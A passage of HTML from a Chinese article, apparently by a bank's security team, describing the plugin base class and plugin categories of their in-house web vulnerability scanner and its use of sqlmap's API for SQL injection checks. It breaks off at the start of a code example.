PingFangTC-light;">插件作为扫描器的核心有着举足轻重的地位，能不能&#34;准确无误&#34;的发现漏洞全靠扫描插件。在这里，非常感谢团队内的各个小伙伴一起为扫描器建<span style="color: rgb(74, 74, 74);font-size: 15px;text-align: start;white-space: pre-line;font-family: Optima-Regular, PingFangTC-light;">设出谋划策和参与到插件的开发工作之中。</span><span style="color: rgb(74, 74, 74);font-size: 15px;text-align: start;white-space: pre-line;font-family: Optima-Regular, PingFangTC-light;">对于插件编写，我们简单地约定了一套编写规则，每一个插件需要正确的覆写父类方法。</span><span style="color: rgb(74, 74, 74);font-size: 15px;text-align: start;white-space: pre-line;font-family: Optima-Regular, PingFangTC-light;">引擎才能正确调用，如下简要父类模板：</span></section><pre style="padding-top: 8px;padding-bottom: 6px;box-sizing: border-box;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;width: 575.422px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;box-sizing: border-box;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">class</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">BaseMod</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">object</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">):</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    name </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">VulnName</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">BaseMod</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    author </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;xxx&#34;</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    vulType </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> vulType</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Web</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    level </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Level</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NONE</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    references </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">None</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    desc </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">None</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    modType </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ModType</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">PerScheme</span></code></span></span></p></li><li style="padding-left: 1em;box-sizing: border-box;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="padding-left: 1em;box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">def</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> __init__</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">):</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">      </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;&#34;&#34;</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">      &#34;&#34;&#34;</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        self</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_request</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Request</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">None</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        self</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_vectors </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">None</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        self</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_response </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">None</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        self</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_vulnParams </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;&#34;</span></code></span></span></p></li><li style="padding-left: 1em;box-sizing: border-box;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="padding-left: 1em;box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">def</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> verify</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">):</span></code></span></span></p></li><li style="padding-left: 1em;box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"><span style="color: rgb(153, 204, 153);font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;;font-size: 13px;text-align: left;white-space: pre;background-color: rgb(45, 45, 45);">        &#34;&#34;&#34;</span></span></code></span></span></p></li><li style="padding-left: 1em;box-sizing: border-box;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"><span style="white-space: inherit;font-family: inherit;">:</span><span style="white-space: inherit;font-family: inherit;">ret</span><span style="white-space: inherit;font-family: inherit;">u</span><span style="white-space: inherit;font-family: inherit;">rn: </span><span style="white-space: inherit;font-family: inherit;">return None if not vulnerable, else return a Output object</span></span></code></span></span></p></li><li style="padding-left: 1em;box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        &#34;&#34;&#34;</span></code></span></span></p></li><li style="padding-left: 1em;box-sizing: border-box;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">raise</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NotImplementedError</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;plugin must overwrite this method.&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;box-sizing: border-box;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><span style="font-family: Optima-Regular, PingFangTC-light;">新增一个扫描插件时，新增一个类继承自 </span><code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">BaseMod</span></code><span style="font-family: Optima-Regular, PingFangTC-light;">, 填写必要的信息，并重写 </span><code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">verify</span></code><span style="font-family: Optima-Regular, PingFangTC-light;">方法实现扫描逻辑，发现漏洞时，返回 Output的实例对象，由扫描引擎持久化漏洞数据。</span></p><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">为了提高扫描效率需要对插件进行正确分类。这里我们参考了awvs 插件分类规则，将插件分为如下五大类：</section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages js_insertlocalimg" data-ratio="0.47904191616766467" data-s="300,640" style="width: 362px;height: 173px;" data-type="png" data-w="668" src="https://wechat2rss.xlab.app/img-proxy/?k=bfa3c69d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5pgf5XwNwByIYTaPvuIWgdticVYb71ZwV6ubIicjmrxcKibIhJzqgfN8mQdhKOWbpSzvYr76wsvmJ0w%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><br/></section><table><thead style="box-sizing: border-box;"><tr style="box-sizing: border-box;"><td width="69" style="word-break: break-all;" align="center" valign="top"><p style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">插件类型</span></p></td><td width="342" align="left" valign="middle" style="word-break: break-all;"><p style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">简要说明</span></p></td></tr></thead><tbody style="box-sizing: border-box;"><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;padding: 0.5rem 1rem;border-color: rgb(233, 235, 236);text-align: center;" width="148" align="center" valign="top"><p style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">PerFile</span></p></td><td style="box-sizing: border-box;padding: 0.5rem 1rem;border-color: rgb(233, 235, 236);word-break: break-all;" width="360" align="left" valign="middle"><p style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">扫描某个文件是否存在漏洞</span></p></td></tr><tr style="box-sizing: border-box;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 0.5rem 1rem;border-color: rgb(233, 235, 236);text-align: center;" width="69" align="center" valign="top"><p style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">PerFolder</span></p></td><td style="box-sizing: border-box;padding: 0.5rem 1rem;border-color: rgb(233, 235, 236);" width="360" align="left" valign="middle"><p style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">扫描某个目录是否存在漏洞</span></p></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;padding: 0.5rem 1rem;border-color: rgb(233, 235, 236);text-align: center;" width="69" align="center" valign="top"><p style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">PerScheme</span></p></td><td style="box-sizing: border-box;padding: 0.5rem 1rem;border-color: rgb(233, 235, 236);" width="360" align="left" valign="middle"><p style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">扫描某个参数是否存在漏洞</span></p></td></tr><tr style="box-sizing: border-box;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 0.5rem 1rem;border-color: rgb(233, 235, 236);text-align: center;" width="69" align="center" valign="top"><p style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">PerServer</span></p></td><td style="box-sizing: border-box;padding: 0.5rem 1rem;border-color: rgb(233, 235, 236);" width="360" align="left" valign="middle"><p style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">扫描某个服务器是否存在漏洞</span></p></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;padding: 0.5rem 1rem;border-color: rgb(233, 235, 236);text-align: center;" width="69" align="center" valign="top"><p style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">Disable</span></p></td><td style="box-sizing: border-box;padding: 0.5rem 1rem;border-color: rgb(233, 235, 236);" width="360" align="left" valign="middle"><p style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">处于开发测试或者禁用的插件，引擎不会加载此目录下的插件</span></p></td></tr></tbody></table><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">每一个插件需要根据自己的扫描目标特点正确放置于相应的目录下，引擎会自动加载各目录下面的插件并为插件设置对应的类型值。目前，我们会周期性的对历史接口进行扫描。对于发现的漏洞利用邮件通过对应的开发负责人和对应的安全工程师，以方便及时跟进处理。</section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">对于sql注入的检测，我们直接调用了sqlmap的api进行扫描。基于我行使用的数据库，删除了sqlmap中部分poc，这里需要注意的是，sqlmap会自动加载上次扫描的结果，对于已经修复过的漏洞如果再次扫描到，sqlmap 会直接提示存在漏洞，所以需要传入 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">flushSession</span></code>参数，如下简单的例子：</section><pre style="padding-top: 8px;padding-bottom: 6px;box-sizing: border-box;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, 